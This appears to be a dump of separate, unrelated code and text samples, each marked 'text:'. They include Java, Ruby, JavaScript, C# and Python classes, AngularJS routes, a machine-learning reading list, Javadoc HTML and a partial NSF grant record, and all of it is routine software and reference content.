  }

  public static final List<CurrencyPair> CURRENCY_PAIRS = new ArrayList<CurrencyPair>();

  static {
    CURRENCY_PAIRS.add(new CurrencyPair("BC", "USD"));
    CURRENCY_PAIRS.add(new CurrencyPair("BC", "BTC"));
    CURRENCY_PAIRS.add(CurrencyPair.BTC_USD);
    CURRENCY_PAIRS.add(CurrencyPair.BTC_EUR);
    CURRENCY_PAIRS.add(new CurrencyPair("CINNI", "USD"));
    CURRENCY_PAIRS.add(new CurrencyPair("CINNI", "BTC"));
    CURRENCY_PAIRS.add(CurrencyPair.DGC_BTC);
    CURRENCY_PAIRS.add(new CurrencyPair("DRK", "BTC"));
    CURRENCY_PAIRS.add(new CurrencyPair("DRK", "USD"));
    CURRENCY_PAIRS.add(CurrencyPair.DVC_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.FTC_USD);
    CURRENCY_PAIRS.add(CurrencyPair.FTC_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.LTC_USD);
    CURRENCY_PAIRS.add(CurrencyPair.LTC_EUR);
    CURRENCY_PAIRS.add(CurrencyPair.LTC_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.NMC_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.NMC_USD);
    CURRENCY_PAIRS.add(CurrencyPair.PPC_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.PPC_USD);
    CURRENCY_PAIRS.add(CurrencyPair.TRC_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.UTC_USD);
    CURRENCY_PAIRS.add(CurrencyPair.UTC_EUR);
    CURRENCY_PAIRS.add(CurrencyPair.UTC_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.UTC_LTC);
    CURRENCY_PAIRS.add(CurrencyPair.WDC_USD);
    CURRENCY_PAIRS.add(CurrencyPair.WDC_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.XPM_BTC);
    CURRENCY_PAIRS.add(CurrencyPair.XPM_USD);
    CURRENCY_PAIRS.add(CurrencyPair.XPM_PPC);

    // Securities
    CURRENCY_PAIRS.add(new CurrencyPair("AMC", "BTC"));
    CURRENCY_PAIRS.add(new CurrencyPair("CRM", "BTC"));
    CURRENCY_PAIRS.add(new CurrencyPair("CTB", "BTC"));
    CURRENCY_PAIRS.add(new CurrencyPair("CTL", "LTC"));
    CURRENCY_PAIRS.add(new CurrencyPair("CVF", "BTC"));
    CURRENCY_PAIRS.add(new CurrencyPair("ESB", "BTC"));
    CURRENCY_PAIRS.add(new CurrencyPair("ESL", "LTC"));
  }

  @Override
  public List<CurrencyPair> getExchangeSymbols() {

    return CURRENCY_PAIRS;
  }
}


text:
require 'rails_helper.rb'

describe 'Jobs WebUI' do
  describe 'routing' do
    context 'as an administrator' do
      before do
        allow_any_instance_of(Avalon::Routing::CanConstraint).to receive(:matches?).and_return(true)
      end
      it "can access /jobs" do
        get jobs_path
        expect(response).to have_http_status(200)
      end
    end

    context 'as an end-user' do
      before do
        allow_any_instance_of(Avalon::Routing::CanConstraint).to receive(:matches?).and_return(false)
      end
      it "redirects to root when unauthorized request to /jobs" do
        get jobs_path
        expect(response).to have_http_status(301)
      end
    end
  end
end


text:
layout: page
title: Tolks
---

We talkin' bout TESTING?

  </>

  Slides

This is a talk I gave at work about software testing. Heavily inspired by
multiple Justin Searls talks, POODR, previous work experience with DHS, and
hoops.

The Legend of Zelda: Software Testing (NEW FREE DLC)

  </>

  Slides

This is a follow up talk I gave at work focusing on the actual act of
  testing. We had lots of fun with mob programming, stepping through a unit
  testing example by outputting the lyrics of 12 Days of Christmas.

Ruby Class Definitions

Specs

This is a talk I gave at work exploring how classes are implemented in Ruby.
Sauce is from a great book called Metaprogramming Ruby. I tried a Ruby Koans-esque
approach to teaching it.

Simple Vue JS Workshop: Building Tic-Tac-Toe

README

This is a small workshop I held at work to demo Vue by writing Tic-Tac-Toe.

Intro to Elixir: Fun |> ctional |> Programming

  </>

  README

This is a talk I gave at work introducing Elixir with the goal of also
  exploring functional programming concepts.


text:
package pl.wk.bid.core.auction;

import pl.wk.bid.core.bid.Bid;
import pl.wk.bid.core.bid.Bidder;
import pl.wk.bid.core.price.Price;
import pl.wk.bid.core.time.TimeService;

import java.time.ZonedDateTime;
import java.util.Currency;
import java.util.List;
import java.util.Objects;
import java.util.Optional;

/**
 * Created by wojtek on 10.12.16.
 */
public class TimeBoundAuction implements Auction {

    private final Auction auction;

    private final TimeService timeService;

    private final ZonedDateTime beginTime;

    private final ZonedDateTime closeTime;

    public TimeBoundAuction(Auction auction, TimeService timeService, ZonedDateTime beginTime, ZonedDateTime closeTime) {
        this.auction = Objects.requireNonNull(auction, "auction cannot be null");
        this.timeService = Objects.requireNonNull(timeService, "timeService cannot be null");
        this.beginTime = Objects.requireNonNull(beginTime, "beginTime cannot be null");
        this.closeTime = Objects.requireNonNull(closeTime, "closeTime cannot be null");
        ;
    }

    @Override
    public void bidUpWith(Bidder bidder, Price price) {
        openIfAlreadyStarted(auction);
        closeIfExpired(auction);
        auction.bidUpWith(bidder, price);
    }

    @Override
    public void bidTo(Bidder bidder, Price price) {
        openIfAlreadyStarted(auction);
        closeIfExpired(auction);
        auction.bidTo(bidder, price);
    }

    private void openIfAlreadyStarted(Auction auction) {
        if (!auction.isOpen() && timeService.getCurrentTime().isAfter(beginTime)) {
            auction.tryOpenAuction();
        }
    }

    private void closeIfExpired(Auction auction) {
        if (auction.isOpen() && timeService.getCurrentTime().isAfter(closeTime)) {
            auction.tryCloseAuction();
        }
    }

    @Override
    public boolean tryOpenAuction() {
        return auction.tryOpenAuction();
    }

    @Override
    public boolean tryCloseAuction() {
        return auction.tryCloseAuction();
    }

    @Override
    public List<Bid> getHistory() {
        return auction.getHistory();
    }

    @Override
    public String getDescription() {
        return auction.getDescription();
    }

    @Override
    public Currency getAcceptableCurrency() {
        return auction.getAcceptableCurrency();
    }

    @Override
    public Price getInitialPrice() {
        return auction.getInitialPrice();
    }

    @Override
    public Optional<Bid> getTopBid() {
        return auction.getTopBid();
    }

    public boolean isOpen() {
        return auction.isOpen();
    }
}


text:
package pl.tecna.gwt.connectors.client.listeners.event;

import pl.tecna.gwt.connectors.client.elements.Connector;
import pl.tecna.gwt.connectors.client.elements.EndPoint;

import com.google.gwt.user.client.ui.Widget;

public class ElementConnectEvent implements ConnectorEvent {

  private Widget connected;
  private Connector connector;
  private EndPoint endPoint;

  public ElementConnectEvent(Widget connected, Connector connector, EndPoint endPoint) {
    this.connected = connected;
    this.connector = connector;
    this.endPoint = endPoint;
  }

  public Widget getConnected() {
    return connected;
  }

  public Connector getConnector() {
    return connector;
  }

  public EndPoint getEndPoint() {
    return endPoint;
  }

}


text:
from .paths import *
from .ds import *
from .utils import *


text:
/**
 * @param {*} arrayLike
 * @return {Array}
 */
export default function (arrayLike) {
  return Array.prototype.slice.call(arrayLike, 0);
}


text:
'use strict';

//Setting up route
angular.module('tools').config(['$stateProvider',
	function($stateProvider) {
		// Tools state routing
		$stateProvider.
		state('listTools', {
			url: '/tools',
			templateUrl: 'modules/tools/views/list-tools.client.view.html'
		}).
		state('talentEmailTool', {
			url: '/tools/email-talent',
			templateUrl: 'modules/tools/views/email-talent-tool.client.view.html'
		}).
		state('talentCallList', {
			url: '/tools/call-list',
			templateUrl: 'modules/tools/views/call-list.client.view.html'
		}).
		state('toolDeleteProjects', {
			url: '/tools/delete-projects',
			templateUrl: 'modules/tools/views/delete-projects.client.view.html'
		}).
		state('toolBackupProjects', {
			url: '/tools/backup-restore',
			templateUrl: 'modules/tools/views/backup-projects.client.view.html'
		}).
		state('toolTalentImport', {
			url: '/tools/talent-import',
			templateUrl: 'modules/tools/views/talent-import.client.view.html'
		}).
		state('toolListNewprojects', {
			url: '/tools/list-newprojects',
			templateUrl: 'modules/tools/views/list-newprojects.client.view.html'
		}).
		state('toolNewprojectByID', {
			url: '/tools/new-project-byid/:newprojectId',
			templateUrl: 'modules/tools/views/new-project-byid.client.view.html'
		});
		// state('createTool', {
		// 	url: '/tools/create',
		// 	templateUrl: 'modules/tools/views/create-tool.client.view.html'
		// }).
		// state('viewTool', {
		// 	url: '/tools/:toolId',
		// 	templateUrl: 'modules/tools/views/view-tool.client.view.html'
		// }).
		// state('editTool', {
		// 	url: '/tools/:toolId/edit',
		// 	templateUrl: 'modules/tools/views/edit-tool.client.view.html'
		// });
	}
]);


text:
package p1.p2.p3;

import android.content.Context;
import android.widget.Toast;
import p1.p2.R;

public class Class {
  public void f(Context context) {
    Toast.makeText(context, R.string.hello, Toast.LENGTH_SHORT).show();
  }
}


text:
#!/usr/bin/env node

/**
 * Module dependencies.
 */

var testBridge = require('./index');
var program = require('commander');
var log4js = require('log4js');
var logger = log4js.getLogger();

/*
 * Configuration
 */
var cmdLineOptions = {};

program
  .version('0.0.1')
  .option('-c, --ci <pluginName>', 'The CI plugin to use')
  .option('-r, --reporter <pluginName>', 'The reporter plugin to use')
  .option('-m, --management <pluginName>', 'The management plugin to use')
  .option('-t, --testRun <identifier>', 'The test run to be updated by the management plugin')
  .option('-e, --extractTestRunFromBranchName [pattern]',
    'Extract test run pattern from branch name. Optionall extraction regex. Only available with a CI plugin.')
  .option('-v, --verbose', 'Verbose logging')
  .parse(process.argv);

if (program.ci) {
  cmdLineOptions.ci = program.ci;
}

if (program.reporter) {
  cmdLineOptions.reporter = program.reporter;
} else {
  logger.error('No reporter plugin specified.');
  process.exit(1);
}

if (program.management) {
  cmdLineOptions.management = program.management;
} else {
  logger.error('No management plugin specified.');
  process.exit(1);
}

if (program.extractTestRunFromBranchName) {
  cmdLineOptions.extractTestRunFromBranchName = true;
  if (typeof program.extractTestRunFromBranchName === 'string' ||
    program.extractTestRunFromBranchName instanceof String) {
    cmdLineOptions.branchPattern = new RegExp(program.extractTestRunFromBranchName, 'g');
  }
}

if (program.testRun) {
  cmdLineOptions.testRunIdentifier = program.testRun;
}

if (program.verbose) {
  testBridge.setLogLevel('DEBUG');
} else {
  testBridge.setLogLevel('INFO');
}

// Actual code
testBridge.execute(cmdLineOptions, function(err, result) {
  if (!err) {
    logger.info('Updated %d test runs remotely.', result);
  } else {
    logger.error('An error occurred.', err);
  }
});


text:
$LOAD_PATH << File.dirname(__FILE__)

# require_relative this file to avoid creating an class alias from Unit to RubyUnits::Unit
require_relative 'version'
require_relative 'definition'
require_relative 'cache'
require_relative 'array'
require_relative 'date'
require_relative 'time'
require_relative 'math'
require_relative 'numeric'
require_relative 'string'
require_relative 'unit'
require_relative 'fixnum'
require_relative 'unit_definitions'


text:
using System;
using System.Linq;
using UnityEngine;

namespace KourageousTourists.Contracts
{
	public class KourageousAnomalyParameter: KourageousParameter
	{
		public const string discoveryDistance = "anomalyDiscoveryDistance";
		public const float defaultMinAnomalyDistance = 50;

		protected string anomalyName;
		protected string anomalyDisplayName;
		protected float minAnomalyDistance;

		public KourageousAnomalyParameter() : base() {}

		public KourageousAnomalyParameter(
			CelestialBody target, string kerbal, string anomaly, string displayName) : base(target, kerbal) {

			this.anomalyName = anomaly;
			this.anomalyDisplayName = displayName;

			setDistance ();
		}

		protected void setDistance() {
			ConfigNode config = GameDatabase.Instance.GetConfigNodes(
				KourageousTouristsAddOn.cfgRoot).FirstOrDefault();
			this.minAnomalyDistance = defaultMinAnomalyDistance;
			if (config != null) {

				String dscvr = config.GetValue (discoveryDistance);
				if (dscvr != null) {
					try {
						this.minAnomalyDistance = (float)Convert.ToDouble (dscvr);
					} catch (Exception) {
					}
				}
			}
			else
				KourageousTouristsAddOn.printDebug ("no config found in game database");
		}

		protected override string GetHashString() {
			return "walk" + this.targetBody.bodyName + this.tourist;
		}

		protected override string GetTitle() {
			return String.Format ("Take photo of {0} from the surface of {1} near the {2}",
				tourist, targetBody.bodyName, anomalyDisplayName);
		}

		protected override string GetMessageComplete() {
			return String.Format ("{0} was pictured on the surface of {1} in the vicinity of {2}",
				tourist, targetBody.bodyName, anomalyDisplayName);
		}

		protected override void OnRegister() {
			KourageousTouristsAddOn.selfieListeners.Add (onSelfieTaken);
		}

		protected override void OnUnregister() {
			KourageousTouristsAddOn.selfieListeners.Remove (onSelfieTaken);
		}

		private void onSelfieTaken() {

			KourageousTouristsAddOn.printDebug ("here");
			foreach (Vessel v in FlightGlobals.VesselsLoaded) {
				if (
					v.mainBody == targetBody &&
					v.GetVesselCrew().Count == 1 &&
					v.GetVesselCrew () [0].name.Equals (tourist) &&
					v.situation == Vessel.Situations.LANDED && v.isEVA) {

					KourageousTouristsAddOn.printDebug ("checking for " + tourist + " at " + anomalyName);
					if (this.isNearbyAnomaly (v, anomalyName)) {
						base.SetComplete ();
					}
					break;
				}
			}
		}

		private bool isNearbyAnomaly(Vessel v, string anomalyName) {

			// FIXME: Can we have objects with same names, but on different bodies?
			// FIXME: So far I think we can.
			GameObject[] obj = UnityEngine.Object.FindObjectsOfType<GameObject>();
			foreach (GameObject anomalyObj in obj) {

				Component[] c = anomalyObj.GetComponents<PQSCity> ();
				if (c == null || c.Length == 0)
					continue;
				KourageousTouristsAddOn.printDebug ("has pqscity: " + anomalyObj.name);
				PQSCity pqscity = (PQSCity)c [0];
				if (pqscity == null)
					continue;

				if (!pqscity.sphere.isAlive)
					continue;

				Transform tr = anomalyObj.GetComponent<Transform> ();

				if (!anomalyObj.name.Equals (anomalyName))
					continue;
				if (tr == null)
					return false;
				float dist1 = Vector3.Distance (v.transform.position, tr.position);
				KourageousTouristsAddOn.printDebug ("distance: " + dist1.ToString() +
					"; min dist: " + minAnomalyDistance.ToString());
				if (dist1 < this.minAnomalyDistance)
					return true;
			}
			return false;
		}

		protected override void OnLoad (ConfigNode node)
		{
			base.OnLoad (node);
			this.anomalyName = String.Copy(node.GetValue ("anomalyName"));
			KourageousAnomalyContract.readAnomalyConfig ();
			this.anomalyDisplayName =
				KourageousAnomalyContract.anomalies [targetBody.name + ":" + anomalyName].anomalyDescription;
			KourageousTouristsAddOn.printDebug ("display name: " + anomalyDisplayName);
			setDistance ();
		}

		protected override void OnSave (ConfigNode node)
		{
			base.OnSave (node);
			node.AddValue ("anomalyName", anomalyName);
		}
	}
}


text:
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Courses | Leonardo A. Saravia</title>
    <link>https://lsaravia.github.io/courses/</link>
      <atom:link href="https://lsaravia.github.io/courses/index.xml" rel="self" type="application/rss+xml" />
    <description>Courses</description>
    <generator>Wowchemy (https://wowchemy.com)</generator><language>en-us</language><lastBuildDate>Thu, 29 Aug 2013 00:00:00 +0000</lastBuildDate>
    <image>
      <url>https://lsaravia.github.io/media/icon_hu3e1e249f9bb16ad7098ee3e18ddcd9d5_20828_512x512_fill_lanczos_center_3.png</url>
      <title>Courses</title>
      <link>https://lsaravia.github.io/courses/</link>
    </image>

  </channel>
</rss>


text:
package org.apache.samoa.learners.classifiers.trees;

import org.apache.samoa.core.ContentEvent;

/**
 * Attribute Slice Event represents the instances that split into parallelismHint (no. of local stats processors - LSP)
 * and send only one message per LSP for BoostVHT algorithm which contains that slice of the attributes along with required information
 * to update the class observers.
 *
 */

public class AttributeSliceEvent implements ContentEvent{
  private static final long serialVersionUID = 6752449086753238767L;
  private final long learningNodeId;
  private final int attributeStartingIndex;
  private final transient String key;
  private final boolean[] isNominalSlice;
  private final double[] attributeSlice;
  private final int classValue;
  private final double weight;

  public AttributeSliceEvent(
      long learningNodeId, int attributeStartingIndex, String key, boolean[] isNominalSlice, double[] attributeSlice,
      int classValue, double weight) {
    this.learningNodeId = learningNodeId;
    this.attributeStartingIndex = attributeStartingIndex;
    this.key = key;
    this.isNominalSlice = isNominalSlice;
    this.attributeSlice = attributeSlice;
    this.classValue = classValue;
    this.weight = weight;
  }

  public int getClassValue() {
    return classValue;
  }

  public double getWeight() {
    return weight;
  }

  public long getLearningNodeId() {
    return learningNodeId;
  }

  public int getAttributeStartingIndex() {
    return attributeStartingIndex;
  }

  public boolean[] getIsNominalSlice() {
    return isNominalSlice;
  }

  public double[] getAttributeSlice() {
    return attributeSlice;
  }

  @Override
  public String getKey() {
    return key;
  }

  @Override
  public void setKey(String key) {
  }

  @Override
  public boolean isLastEvent() { // TODO
    return false;
  }
}


text:
from __future__ import absolute_import

from flask import Blueprint

from me_api.cache import cache
from me_api.middleware.noneedauth import NoNeedAuthView
from me_api.middleware.utils import MiddlewareConfig

config = MiddlewareConfig('github')
api_url = 'https://api.github.com/users/{0}/events/public'.format(config.me)
github_api = Blueprint('github', __name__, url_prefix=config.path)
github_api.add_url_rule(
    rule='/',
    view_func=cache.cached(timeout=60*5)(
        NoNeedAuthView.as_view(name='index', url=api_url)))


text:
import ShareYourSystem as SYS

#Definition of a Packager instance and module
MyPackager=SYS.PackagerClass().package(
	'ShareYourSystem.Standards.Interfacers.Printer'
)

#Definition the AttestedStr
SYS._attest(
	[
		'MyPackager'+SYS._str(MyPackager)
	]
)

#Print


text:
#import "NSString.h"

@interface NSString (ICSWriter)
- (id)_ICSStringForParameterQuotedValue;
- (id)_ICSStringForParameterValue;
- (id)_ICSStringForProperyValue;
- (void)_ICSStringWithOptions:(unsigned long long)arg1 appendingToString:(id)arg2;
@end


text:
namespace MachinaAurum.CSharp
{
    public struct Unit
    {
        public static Unit Instance => new Unit(null);
        private Unit(object o) { }
    }
}


text:
<!DOCTYPE html>

    <meta charset="UTF-8">
    <title>Creating external Hyperlinks</title>

    Link to Microsoft


text:
package com.amazonaws.services.ec2.model;

import java.io.Serializable;

/**
 *

 * Contains the output of DescribeAddresses.
 *

 */
public class DescribeAddressesResult implements Serializable, Cloneable {

    /**
     *

     * Information about one or more Elastic IP addresses.
     *

     */
    private com.amazonaws.internal.SdkInternalList<Address> addresses;

    /**
     *

     * Information about one or more Elastic IP addresses.
     *

     *
     * @return Information about one or more Elastic IP addresses.
     */

    public java.util.List<Address> getAddresses() {
        if (addresses == null) {
            addresses = new com.amazonaws.internal.SdkInternalList<Address>();
        }
        return addresses;
    }

    /**
     *

     * Information about one or more Elastic IP addresses.
     *

     *
     * @param addresses
     *        Information about one or more Elastic IP addresses.
     */

    public void setAddresses(java.util.Collection<Address> addresses) {
        if (addresses == null) {
            this.addresses = null;
            return;
        }

        this.addresses = new com.amazonaws.internal.SdkInternalList<Address>(
                addresses);
    }

    /**
     *

     * Information about one or more Elastic IP addresses.
     *

     *

     * NOTE: This method appends the values to the existing list (if
     * any). Use {@link #setAddresses(java.util.Collection)} or
     * {@link #withAddresses(java.util.Collection)} if you want to override the
     * existing values.
     *

     *
     * @param addresses
     *        Information about one or more Elastic IP addresses.
     * @return Returns a reference to this object so that method calls can be
     *         chained together.
     */

    public DescribeAddressesResult withAddresses(Address... addresses) {
        if (this.addresses == null) {
            setAddresses(new com.amazonaws.internal.SdkInternalList<Address>(
                    addresses.length));
        }
        for (Address ele : addresses) {
            this.addresses.add(ele);
        }
        return this;
    }

    /**
     *

     * Information about one or more Elastic IP addresses.
     *

     *
     * @param addresses
     *        Information about one or more Elastic IP addresses.
     * @return Returns a reference to this object so that method calls can be
     *         chained together.
     */

    public DescribeAddressesResult withAddresses(
            java.util.Collection<Address> addresses) {
        setAddresses(addresses);
        return this;
    }

    /**
     * Returns a string representation of this object; useful for testing and
     * debugging.
     *
     * @return A string representation of this object.
     *
     * @see java.lang.Object#toString()
     */
    @Override
    public String toString() {
        StringBuilder sb = new StringBuilder();
        sb.append("{");
        if (getAddresses() != null)
            sb.append("Addresses: " + getAddresses());
        sb.append("}");
        return sb.toString();
    }

    @Override
    public boolean equals(Object obj) {
        if (this == obj)
            return true;
        if (obj == null)
            return false;

        if (obj instanceof DescribeAddressesResult == false)
            return false;
        DescribeAddressesResult other = (DescribeAddressesResult) obj;
        if (other.getAddresses() == null ^ this.getAddresses() == null)
            return false;
        if (other.getAddresses() != null
                && other.getAddresses().equals(this.getAddresses()) == false)
            return false;
        return true;
    }

    @Override
    public int hashCode() {
        final int prime = 31;
        int hashCode = 1;

        hashCode = prime * hashCode
                + ((getAddresses() == null) ? 0 : getAddresses().hashCode());
        return hashCode;
    }

    @Override
    public DescribeAddressesResult clone() {
        try {
            return (DescribeAddressesResult) super.clone();
        } catch (CloneNotSupportedException e) {
            throw new IllegalStateException(
                    "Got a CloneNotSupportedException from Object.clone() "
                            + "even though we're Cloneable!", e);
        }
    }
}


text: Turn any function into a promise, thus making it async.


text:
FOUNDATION_EXPORT double RedirappVersionNumber;
FOUNDATION_EXPORT const unsigned char RedirappVersionString[];


text:
.. _References:

References
==============

Prior publications and useful reading relevant to general analysis
and for each algorithm can be found in the references listed below.

Understanding the algorithms of  H2O is an integral part of using the
platform correctly and getting the most out of your analysis.

Below are the citations of seminal articles and articles
demonstrating rigorous application of the algorithms of H2O
This list is not meant to be exhaustive, but provides an
abbreviated syllabus to help develop a strong understanding.

""""

Recommended Reading
""""""""""""""""""""

Hastie, Trevor, Robert Tibshirani, and J Jerome H Friedman. The
Elements of Statistical Learning.
Vol.1. N.p.: Springer New York, 2001.
http://www.stanford.edu/~hastie/local.ftp/Springer/OLD//ESLII_print4.pdf

""""

GLM
""""""

Breslow, N E. "Generalized Linear Models: Checking Assumptions and
Strengthening Conclusions." Statistica Applicata 8 (1996): 23-41.

Goldberger, Arthur S. "Best Linear Unbiased Prediction in the
Generalized Linear Regression Model." Journal of the American
Statistical Association 57.298 (1962): 369-375.
http://people.umass.edu/~bioep740/yr2009/topics/goldberger-jasa1962-369.pdf

Guisan, Antoine, Thomas C Edwards Jr, and Trevor Hastie. "Generalized
Linear and Generalized Additive Models in Studies of Species
Distributions: Setting the Scene." Ecological modelling
157.2 (2002): 89-100.
http://www.stanford.edu/~hastie/Papers/GuisanEtAl_EcolModel-2003.pdf

Nelder, John A, and Robert WM Wedderburn. "Generalized Linear Models."
Journal of the Royal Statistical Society. Series A (General) (1972): 370-384.
http://biecek.pl/MIMUW/uploads/Nelder_GLM.pdf

Snee, Ronald D. "Validation of Regression Models: Methods and
Examples." Technometrics 19.4 (1977): 415-428.

""""

Poisson
"""""""""

Frome, E L. "The Analysis of Rates Using Poisson Regression Models."
Biometrics (1983): 665-674.
http://www.csm.ornl.gov/~frome/BE/FP/FromeBiometrics83.pdf

""""

Logistic (binomial and multinomial)
"""""""""""""""""""""""""""""""""""""

Press, S James, and Sandra Wilson. "Choosing Between Logistic
Regression and Discriminant Analysis." Journal of the American
Statistical Association 73.364 (April, 2012): 699–705.
http://www.statpt.com/logistic/press_1978.pdf

Pearce, Jennie, and Simon Ferrier. "Evaluating the Predictive
Performance of Habitat Models Developed Using Logistic Regression."
Ecological modelling 133.3 (2000): 225-245.
http://www.whoi.edu/cms/files/Ecological_Modelling_2000_Pearce_53557.pdf

""""""

GBM
""""

Dietterich, Thomas G, and Eun Bae Kong. "Machine Learning Bias,
Statistical Bias, and Statistical Variance of Decision Tree
Algorithms." ML-95 255 (1995).

Elith, Jane, John R Leathwick, and Trevor Hastie. "A Working Guide to
Boosted Regression Trees." Journal of Animal Ecology 77.4 (2008): 802-813

Friedman, Jerome H. "Greedy Function Approximation: A Gradient
Boosting Machine." Annals of Statistics (2001): 1189-1232.

Friedman, Jerome, Trevor Hastie, Saharon Rosset, Robert Tibshirani,
and Ji Zhu. "Discussion of Boosting Papers." Ann. Statist 32 (2004):
102-107

Friedman, Jerome, Trevor Hastie, and Robert Tibshirani. "Additive
Logistic Regression: A Statistical View of Boosting (With Discussion
and a Rejoinder by the Authors)." The Annals of Statistics 28.2
(2000): 337-407
http://projecteuclid.org/DPubS?service=UI&version=1.0&verb=Display&handle=euclid.aos/1016218223

""""

Neural Networks
""""""""""""""""

Baldi, Pierre, and Kurt Hornik. "Neural Networks and Principal
Component Analysis: Learning From Examples Without Local Minima."
Neural networks 2.1 (1989): 53-58.

Coolen, A C C. Concepts for Neural Networks. N.p.: Springer, 1998. 13-70.

""""

Tweedie
""""""""""

Dunn, Peter K. "Occurrence and Quantity of Precipitation Can Be
Modelled Simultaneously." International Journal of Climatology 24.10
(2004): 1231-1239.

""""

K-Means
"""""""""

Napoleon, D, and S Pavalakodi. "A New Method for Dimensionality
Reduction Using KMeans Clustering Algorithm for High Dimensional Data
Set." International Journal of Computer Applications 13.7 (2011): 41-46.

Xiong, Hui, Junjie Wu, and Jian Chen. "K-means Clustering Versus
Validation Measures: A Data- distribution Perspective." Systems, Man,
and Cybernetics, Part B: Cybernetics, IEEE Transactions on 39.2 (2009): 318-331.

""""


text:
package org.apache.tapestry5.integration.app1;

import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.InputStream;
import java.net.URL;

import org.apache.tapestry5.integration.TapestryCoreTestCase;
import org.apache.tapestry5.internal.TapestryInternalUtils;
import org.apache.tapestry5.test.TapestryTestConstants;
import org.testng.annotations.DataProvider;
import org.testng.annotations.Test;

public class AssetTests extends TapestryCoreTestCase
{
    @DataProvider
    private Object[][] asset_data()
    {
        return new Object[][]
        {
        { "icon", "src/test/app1/images/tapestry_banner.gif" },
        { "button", "src/test/resources/org/apache/tapestry5/integration/app1/pages/nested/tapestry-button.png" },
        { "viaContext", "src/test/app1/images/asf_logo_wide.gif" } };
    }

    @Test(dataProvider = "asset_data")
    public void assets(String id, String localPath) throws Exception
    {
        openLinks("AssetDemo");

        // Test for https://issues.apache.org/jira/browse/TAPESTRY-1935

        // assertSourcePresent("<link href=\"/css/app.css\" rel=\"stylesheet\" type=\"text/css\">");

        // Read the byte stream for the asset and compare to the real copy.

        String assetURL = getAttribute(String.format("//img[@id='%s']/@src", id));

        compareDownloadedAsset(assetURL, localPath);
    }

    private void compareDownloadedAsset(String assetURL, String localPath) throws Exception
    {
        // Strip off the leading slash

        URL url = new URL(getBaseURL() + assetURL.substring(1));

        byte[] downloaded = readContent(url);

        File local = new File(TapestryTestConstants.MODULE_BASE_DIR, localPath);

        byte[] actual = readContent(local.toURL());

        assertEquals(downloaded, actual);
    }

    private byte[] readContent(URL url) throws Exception
    {
        InputStream is = new BufferedInputStream(url.openStream());

        ByteArrayOutputStream os = new ByteArrayOutputStream();

        TapestryInternalUtils.copy(is, os);

        os.close();
        is.close();

        return os.toByteArray();
    }
}


text:
module FuzzyNinja
  Configuration = Object.new

  class << Configuration
    attr_accessor :nick
    attr_accessor :password
    attr_accessor :server
    attr_accessor :channels
    attr_accessor :database
    attr_accessor :plugins_dir
    attr_accessor :plugins
  end
end


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Uses of Interface org.red5.server.api.so.IClientSharedObject (Red5 :: Common server classes 1.0.7-SNAPSHOT API)</title>
<meta name="date" content="2016-02-18">
<link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style">

JavaScript is disabled on your browser.

Skip navigation links

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

Prev

Next

Frames

No Frames

All Classes

Uses of Interface
org.red5.server.api.so.IClientSharedObject

Packages that use IClientSharedObject

Package
Description

org.red5.server.so

Uses of IClientSharedObject in org.red5.server.so

Classes in org.red5.server.so that implement IClientSharedObject

Modifier and Type
Class and Description

class
ClientSharedObject

Works with client-side shared object

Skip navigation links

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

Prev

Next

Frames

No Frames

All Classes

Copyright © 2005–2016 Red5. All rights reserved.


text:
<?xml version="1.0" encoding="UTF-8"?>

<rootTag>
  <Award>
    <AwardTitle>Student Travel to 54th International Conference on Electron, Ion and Photon-Beam Technology and Nanofabrication; Anchorage, Alaska; June 1-4, 2010</AwardTitle>
    <AwardEffectiveDate>05/01/2010</AwardEffectiveDate>
    <AwardExpirationDate>04/30/2011</AwardExpirationDate>
    <AwardAmount>10000</AwardAmount>
    <AwardInstrument>
      <Value>Standard Grant</Value>
    </AwardInstrument>
    <Organization>
      07030000
      <Directorate>
        <LongName>Directorate For Engineering</LongName>
      </Directorate>
      <Division>
        <LongName>Div Of Civil, Mechanical, & Manufact Inn</LongName>
      </Division>
    </Organization>
    <ProgramOfficer>
      <SignBlockName>Bruce M. Kramer</SignBlockName>
    </ProgramOfficer>
    <AbstractNarration>This award provides funding to support 20 graduate students to attend the 54th International Conference on Electron, Ion and Photon Beam Technology and Nanofabricaton 2010 to be held in Anchorage, Alaska, June 1-4, 2010. The conference is organized by the American Vacuum Society, the Electron Devices Society of the IEEE, and the Optical Society of America.<br/><br/>The opportunity provided by this funding will blend research and educational activities for the graduate students who attend. By participating in the conference, the graduate students will be exposed to state-of-the-art research topics and will interact with global academic and industrial leaders.</AbstractNarration>
    <MinAmdLetterDate>03/12/2010</MinAmdLetterDate>
    <MaxAmdLetterDate>03/12/2010</MaxAmdLetterDate>
    <ARRAAmount/>
    <AwardID>1029040</AwardID>
    <Investigator>
      <FirstName>Henry</FirstName>
      <LastName>Smith</LastName>
      <EmailAddress>hismith@mit.edu</EmailAddress>
      <StartDate>03/12/2010</StartDate>
      <EndDate/>
      <RoleCode>Principal Investigator</RoleCode>
    </Investigator>
    <Institution>
      <Name>Massachusetts Institute of Technology</Name>
      <CityName>Cambridge</CityName>
      <ZipCode>021394301</ZipCode>
      <PhoneNumber>6172531000</PhoneNumber>
      <StreetAddress>77 MASSACHUSETTS AVE</StreetAddress>
      <CountryName>United States</CountryName>
      <StateName>Massachusetts</StateName>
      <StateCode>MA</StateCode>
    </Institution>
    <ProgramElement>
      1788
      <Text>NANOMANUFACTURING</Text>
    </ProgramElement>
    <ProgramReference>
      084E
      <Text>NANOMANUFACTURING</Text>
    </ProgramReference>
    <ProgramReference>
      7556
      <Text>CONFERENCE AND WORKSHOPS</Text>
    </ProgramReference>
    <ProgramReference>
      9146
